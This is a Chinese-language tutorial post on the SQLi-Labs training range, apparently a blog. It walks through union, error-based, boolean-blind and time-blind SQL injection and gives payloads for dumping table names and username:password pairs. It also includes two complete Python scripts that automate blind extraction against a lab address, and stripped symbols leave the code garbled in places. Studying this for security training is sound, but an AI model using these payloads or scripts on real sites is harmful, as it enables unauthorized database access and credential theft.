SQLi-Labs 基础注入实战教程(Less-1 ~ Less-5and Less-9)

发布时间:2026/9/10 9:47:54

SQLi-Labs 基础注入实战教程(Less-1 ~ Less-5and Less-9) 前言SQL 注入SQL Injection是 Web 安全领域中最经典、危害最大的漏洞之一。它产生的原因简单却致命开发者将用户输入的数据直接拼接到 SQL 语句中导致攻击者能够篡改原始 SQL 逻辑从而越权操作数据库。尽管各类开发框架已经提供了参数化查询等防护手段但在实际渗透测试和 CTF 竞赛中SQL 注入依然频繁出现是每一位安全从业者必须扎实掌握的基本功。是一套专门用于练习 SQL 注入的靶场环境它通过精心设计的关卡循序渐进地展示了从最基础的联合查询注入到高级盲注的各种攻击技巧。本教程选择了最具代表性的六个关卡——Less-1、Less-2、Less-3、Less-4、Less-5 和 Less-9——带你从零开始逐步攻克 SQL 注入的核心技术。通过这六个关卡你将系统掌握以下四种重要的 SQL 注入手法关卡注入类型核心技术与回显方式Less-1字符型联合查询注入闭合单引号 →ORDER BY查列数 →UNION SELECT联合查询直接回显数据Less-2数字型联合查询注入无需闭合引号 → 与 Less-1 流程相同体会字符型与数字型的区别Less-3单引号括号闭合联合查询闭合)→ 掌握复杂字符串闭合时的构造技巧Less-4双引号括号闭合联合查询闭合)→ 进一步巩固对不同闭合方式的理解Less-5报错注入 / 布尔盲注页面无数据回显但显示数据库错误信息 → 利用extractvalue、updatexml报错函数带出数据或使用length()、ascii()、substr()进行布尔盲注逐位猜解Less-9时间盲注页面不论正确与否都返回相同界面 → 使用if(condition,sleep(5),1)构造延时通过响应时间长短判断 SQL 条件真假完成数据拖取mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。1.首先判断是否存在sql注入1.提示你输入数字值的ID作为参数我们输入?id12.通过数字值不同返回的内容也不同所以我们输入的内容是带入到数据库里面查询了。3.接下来我们判断sql语句是否是拼接且是字符型还是数字型。 编程4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显所以我们可以使用联合查询。联合查询原理简单说一下联合查询就是两个sql语句一起查询两张表具有相同的列数且字段名是一样的2 联合注入第一步首先知道表格有几列如果报错就是超过列数如果显示正常就是没有超出列数。第二步爆出显示位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。 数据管理第三步爆库。第四步 爆表information_schema.tables表示该 数据库下的tables表点表示下一级。where后面是条件group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。第五步爆字段名我们通过sql语句查询知道当前数据库有四个表根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。1-5关sql语句基本上差不多判断字段数order by ?id1 order by 3 -- // 正常 ?id1 order by 4 -- // 错误 → 字段数为 3 找显示位回显点 ?id-1 union select 1,2,3 -- 爆数据库名 ?id-1 union select 1,2,database() -- 爆表名 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() -- 爆列名以 users 表为例 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers -- 爆数据内容 ?id-1 union select 1,2,group_concat(username,0x3a,password) from users --第一关​​​​​​​第二关​​​​第三关​​​​第四关​​​​第五个​​​​import requests import urllib.parse # 目标 URL不含参数 url http://192.168.209.156/sqli/Less-5/ # 判断条件为真时页面会包含的关键字根据 Less-5 的回显调整 TRUE_KEYWORD You are in def check(condition: str) - bool: 执行一次布尔盲注返回 condition 是否为真。 condition 是一个 SQL 条件表达式例如 11 或 length((select database()))8 # 使用 # 作为注释符requests 会自动将其编码为 %23 payload f1 and {condition} # try: resp requests.get(url, params{id: payload}, timeout10) return TRUE_KEYWORD in resp.text except requests.RequestException: return False def get_length(query: str) - int: 二分法获取查询结果的字符串长度最大 100 low, high 0, 100 while low high: mid (low high 1) // 2 if check(flength({query}){mid}): low mid else: high mid - 1 return low def get_string(query: str, length: int) - str: 二分法获取查询结果的每一位字符 result for pos in range(1, length 1): low, high 32, 126 # 可打印 ASCII 范围 while low high: mid (low high 1) // 2 if check(fascii(substr({query},{pos},1)){mid}): low mid else: high mid - 1 result chr(low) print(f[] 第 {pos} 个字符: {chr(low)}) return result def blind_injection(query: str, description: str) - str: 完整的一次盲注过程获取长度 → 获取字符串 print(f[*] 正在获取 {description} ...) length get_length(query) print(f[] 长度: {length}) if length 0: return data get_string(query, length) print(f[] {description}: {data}\n) return data if __name__ __main__: # 1. 获取数据库名 db_name blind_injection((select database()), 数据库名) # 2. 获取所有表名 tables blind_injection( (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 所有表名 ) # 3. 获取 users 表的列名假设表名为 users columns blind_injection( (select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers), users 表的列名 ) # 4. 获取 users 表中的数据假设有 username 和 password 字段 data blind_injection( (select group_concat(username,:,password) from users), users 表内容 (username:password) ) print( 最终结果 ) print(f数据库名: {db_name}) print(f表名: {tables}) print(f列名: {columns}) print(f数据: {data})第九关​​代码脚本import requests import time # 目标 URLLess-9 BASE_URL http://192.168.209.156/sqli/Less-9/ # 时间盲注参数 SLEEP_TIME 3 # 减小 sleep 可以加快速度但不要太小 TIMEOUT SLEEP_TIME 5 THRESHOLD SLEEP_TIME * 0.5 # 判断为真的最低耗时秒 def test_check(): 先测试两个固定条件确认时间盲注环境是否正常 print([*] 正在测试时间盲注环境...) # 测试真条件 payload_true 1 and if(11,sleep({}),1)-- .format(SLEEP_TIME) t1 time.time() try: requests.get(BASE_URL, params{id: payload_true}, timeoutTIMEOUT) except: pass elapsed_true time.time() - t1 # 测试假条件 payload_false 1 and if(12,sleep({}),1)-- .format(SLEEP_TIME) t2 time.time() try: requests.get(BASE_URL, params{id: payload_false}, timeoutTIMEOUT) except: pass elapsed_false time.time() - t2 print(f 真条件耗时: {elapsed_true:.2f} 秒) print(f 假条件耗时: {elapsed_false:.2f} 秒) if elapsed_true THRESHOLD and elapsed_false THRESHOLD: print([] 环境正常开始时间盲注\n) return True else: print([-] 环境异常真/假条件没有明显的耗时差别) print( 可能是网络延迟太高、注释符不正确或 sleep 被过滤。) return False def check(condition: str) - bool: 执行一次时间盲注返回 condition 是否为真。 使用注释符 -- 两个破折号加空格 payload f1 and if({condition}, sleep({SLEEP_TIME}), 1)-- try: start time.time() requests.get(BASE_URL, params{id: payload}, timeoutTIMEOUT) elapsed time.time() - start return elapsed THRESHOLD except requests.exceptions.Timeout: return True # 超时说明 sleep 了条件为真 except requests.RequestException: return False def get_length(query: str) - int: 二分法获取查询结果字符串长度最大 100 low, high 0, 100 while low high: mid (low high 1) // 2 if check(flength({query}){mid}): low mid else: high mid - 1 return low def get_string(query: str, length: int) - str: 二分法获取查询结果每一位字符 result for pos in range(1, length 1): low, high 32, 126 while low high: mid (low high 1) // 2 if check(fascii(substr({query},{pos},1)){mid}): low mid else: high mid - 1 result chr(low) print(f [] 第 {pos}/{length} 字符: {chr(low)}) return result def time_blind_injection(query: str, description: str) - str: 完整时间盲注流程 print(f[*] 正在获取 {description} ...) length get_length(query) print(f [] 长度: {length}) if length 0: return data get_string(query, length) print(f [] {description}: {data}\n) return data if __name__ __main__: if not test_check(): exit(1) print( 时间盲注开始每次正确会 sleep {} 秒请耐心等待.format(SLEEP_TIME)) # 1. 数据库名 db_name time_blind_injection((select database()), 数据库名) # 2. 所有表名 tables time_blind_injection( (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 所有表名 ) # 3. users 表的列名请根据实际表名修改 columns time_blind_injection( (select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers), users 表的列名 ) # 4. users 表数据假设字段为 username 和 password data time_blind_injection( (select group_concat(username,:,password) from users), users 表内容 ) print(\n 最终结果 ) print(f数据库名: {db_name}) print(f表名: {tables}) print(f列名: {columns}) print(f数据: {data})
延伸阅读

更多相关文章

2026/9/10 9:47:52

多智能体协作框架CCB的设计与实战应用

1. 多智能体协作的价值与挑战在AI技术快速发展的今天,单一模型已经难以满足复杂任务的需求。就像一支足球队需要前锋、中场和后卫各司其职一样,不同AI模型也有各自的专长领域。Claude擅长逻辑推理和架构设计,Gemini拥有超长上下文记忆和创意能…

2026/9/4 1:31:10

k8s pod因节点临时存储(ephemeral-storage)不足而被驱逐

es master三节点中的一个节点提示容器状态未知describe发现events有如下提示,这个是Kubernetes Pod因节点临时存储(ephemeral-storage)不足而被驱逐(Evicted)的事件日志。 Events:Type Reason Age …

2026/9/10 9:47:07

Python实现Token认证与管理的完整指南

1. Python登录接口获取Token的完整流程解析 在Web开发和安全认证领域,Token机制已经成为现代应用身份验证的主流方案。最近在实现一个自动化测试系统时,我需要处理多个服务的身份认证问题。通过Python获取登录接口的Token并持久化存储,这个看…

2026/9/10 9:47:07

无线传感器网络LEACH协议Matlab仿真与优化

1. 无线传感器网络路由协议概述无线传感器网络(WSN)作为物联网的基础设施之一,其路由协议的设计直接影响着网络性能和能耗效率。在众多路由协议中,LEACH(Low-Energy Adaptive Clustering Hierarchy)因其简单…

2026/9/10 9:47:07

SpringBoot物流管理系统:WMS仓储调度与运单状态机实战

简介:本资源是一套面向计算机专业本科生的Java毕业设计实战材料,聚焦物流行业信息化管理需求,为毕设选题、系统开发与论文撰写提供完整闭环参考。压缩包为RAR格式,大小20.3MB,包含毕业论文文档与Spring Boot源代码工程…

2026/9/10 9:47:07

PHP二手源码安全重构实战:从代练系统看Web架构升级

简介:这是一套仿游戏代练服务的PHP网站源码,面向Web开发初学者与中小型游戏服务创业者,用于快速搭建游戏代练接单平台,解决订单管理、用户注册登录、服务展示等核心业务需求。资源包共2000个文件,主体为947个JavaScrip…

2026/9/10 9:42:06

Simulink仿真生成输电线路故障数据的技术实践

1. 项目背景与核心价值在电力系统运行维护中,输电线路故障数据的获取与分析一直是行业痛点。传统方式依赖现场实测,不仅成本高昂,且难以覆盖所有故障类型。这个项目通过Simulink仿真批量生成六类典型故障数据(单相接地、两相接地、…

2026/9/9 13:11:35

超人会飞不算本事:系统稳定依赖清晰规则与边界设计

开头先不绕弯子。“#斯坦李吐槽dc 所以超人是无缘无故会飞的嘛哈哈哈哈哈哈哈锤哥真是技术人才啊!#雷神 #复联”这类调侃式短标题,第一波冲击力在于它把两个宇宙的角色塞进同一个吐槽箱里,但细想一下就能发现,它真正碰到的根本不是…

2026/9/8 7:15:15

超人VS蜘蛛侠:拆解超级IP的影响力与传播方法论

把“蜘蛛侠 vs 超人”放在 CSDN 上聊,可能很多人第一反应是走错片场了。但如果把这两个角色看成“两个持续运营了 80 多年的文化产品”,你会发现,这场比较本质上是两个不同 IP 策略的长期结果对比:超人赢在定义了整个超级英雄题材…

2026/9/9 16:31:09

基于CNN的调制信号识别:MATLAB实现时频图分类实战

简介:本资源是一套面向通信工程与信号处理方向学习者、研究者的深度学习实践方案,聚焦调制信号自动检测与识别这一典型无线通信任务,解决传统方法依赖人工特征、低信噪比下性能下降等痛点。压缩包共12个文件(10.73MB)&…

2026/9/10 0:00:55

目录对比去重实战:用哈希算法精准清理重复文件

我电脑里现在还有一块换了三次机的“数据墓地”硬盘,里面存着2016年以前所有旧笔记本的完整备份。平时不觉得有什么,直到前阵子想把它整理归档,发现同一个安装包、同一批照片、同一份论文草稿,在几个不同的备份目录里反复出现。更…

2026/9/10 0:00:55

Leaflet离线地图完整Demo合集:内网部署与坐标纠偏实战

简介:这是一份面向Web GIS开发者的LeafLet离线地图示例合集,帮助开发者快速掌握离线地图从搭建到交互的完整流程。压缩包共723个文件,大小14.06MB,以319个js脚本、175个html页面和29个css样式文件为主体,配合png/svg图…

2026/9/10 0:00:55

MATLAB读取Rinex 3.02观测文件:多系统GNSS数据解析实战

简介:基于MATLAB开发的Rinex3.02版观测文件(o文件)读取代码包,面向卫星定位导航方向的学习者与研究人员,用于解决新版观测文件的数据解析、历元提取与时间转换问题。压缩包共4个文件,包含两个m脚本、一个19…

2026/9/7 16:23:03

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/7 22:46:00

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/9 10:21:54

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码